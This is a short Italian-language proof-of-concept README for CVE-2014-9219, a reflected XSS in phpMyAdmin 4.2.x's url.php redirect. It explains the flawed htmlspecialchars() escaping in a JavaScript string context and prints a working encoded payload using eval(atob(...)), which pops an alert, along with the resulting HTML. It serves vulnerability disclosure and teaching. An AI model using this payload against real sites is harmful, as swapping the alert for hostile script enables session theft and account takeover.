mohmadhafiz/cve-2014-9219CVE-2014-9219 XSS POC
CVE-2014-9219 XSS POC
La vulnerabilità è causata da un errore di validazione dell'input nella funzionalità di reindirizzamento in url.php in phpMyAdmin 4.2.x precedente alla 4.2.13.1 durante l'elaborazione del parametro url. Un attaccante remoto può indurre la vittima a seguire un link appositamente creato ed eseguire codice HTML e script arbitrario nel browser della vittima nel contesto di sicurezza del sito web vulnerabile.
phpMyAdmin: 4.2.0 - 4.2.13
Il codice vulnerabile utilizza htmlspecialchars() per sanificare il parametro URL prima di inserirlo in un contesto di stringa JavaScript:
window.location='" . htmlspecialchars($_GET['url']) . "';
htmlspecialchars() è progettato per il contesto HTML, non per il contesto di stringa JavaScript. Non esegue un escaping adeguato dei caratteri che possono fuoriuscire dai letterali di stringa JavaScript.
url codificato:
url.php?url=http%3A%2F%2Fwww.phpmyadmin.net%2F'%2beval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))%2b'
url decodificato:
url.php?url=http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'
Output HTML:
<script type='text/javascript'>
window.onload=function(){
window.location='http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'';
}
</script>Taking you to http://www.phpmyadmin.net/'+eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))+'.